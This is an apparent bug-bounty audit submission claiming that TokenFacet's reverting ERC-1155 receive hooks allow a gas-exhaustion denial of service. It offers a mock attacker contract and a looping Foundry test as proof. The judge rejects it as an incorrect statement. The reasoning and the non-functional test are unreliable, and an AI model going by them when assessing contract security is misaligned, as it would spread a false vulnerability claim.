DeFiHardhatFoundry
250,000 USDC
View results
Submission Details
Severity: medium
Invalid

Denial of Service Vulnerability Due to Unrestricted ERC-1155 Transfers Causing Reverts

Summary

The functions onERC1155Received and onERC1155BatchReceived currently revert any incoming token transfers. While the attacker pays for the gas, repeated reverts can consume a significant portion of the block's gas limit, potentially preventing other transactions from being processed.

Proof of concept

  • The TokenFacet contract has implemented onERC1155Received and onERC1155BatchReceived functions that revert on ERC1155 token transfer attempts.

  • An attacker repeatedly calls safeTransferFrom on an ERC-1155 token contract, targeting the TokenFacet contract.

  • Each call triggers the onERC1155Received or onERC1155BatchReceived function, which reverts.

  • The repeated reverts consume gas, filling the block's gas limit and potentially causing a DoS situation where other transactions cannot be processed.

This is a simple mock attacker contract that will be used to submit transfer requests

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
contract MockAttacker {
IERC1155 private erc1155Token;
address private targetContract;
constructor(address _erc1155TokenAddress, address _targetContract) {
erc1155Token = IERC1155(_erc1155TokenAddress);
targetContract = _targetContract;
}
function attack(uint256 tokenId, uint256 tokenAmount) external {
erc1155Token.safeTransferFrom(address(this), targetContract, tokenId, tokenAmount, "");
}
}

The AttackSimulationTest contract is used to deploy multiple instances of MockAttacker and have each instance attempt to transfer tokens to the TokenFacet contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "ds-test/test.sol";
import "./TokenFacet.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
contract AttackSimulationTest is DSTest {
TokenFacet tokenFacet;
IERC1155 erc1155Token;
function setUp() public {
tokenFacet = new TokenFacet();
erc1155Token = IERC1155(address(0x123)); // Replace with actual ERC-1155 token address
}
function testRepeatedTransfersDoS() public {
uint256 tokenId = 1;
uint256 tokenAmount = 1;
uint256 numberOfAttackers = 10; // Number of mock attackers to simulate
// Deploy multiple mock attackers
MockAttacker[] memory attackers = new MockAttacker[](numberOfAttackers);
for (uint256 i = 0; i < numberOfAttackers; i++) {
attackers[i] = new MockAttacker(address(erc1155Token), address(tokenFacet));
}
// Have each attacker attempt to transfer tokens to the TokenFacet contract
for (uint256 i = 0; i < numberOfAttackers; i++) {
for (uint256 j = 0; j < 100; j++) { // Attempt 100 transfers per attacker
attackers[i].attack(tokenId, tokenAmount);
}
}
}
}

Impact

  • The repeated reverts could consume a significant portion of the block's allocated gas limit.

  • Users will have to pay higher gas price to get their transactions executed

Tools Used

Manual review

Recommendations

  • Implement restrictions or validation logic in the onERC1155Received and onERC1155BatchReceived functions to limit the number of incoming transfers and validate token IDs and values.

  • Use rate limiting techniques to prevent excessive transfers in a short period.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

lordofterra Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.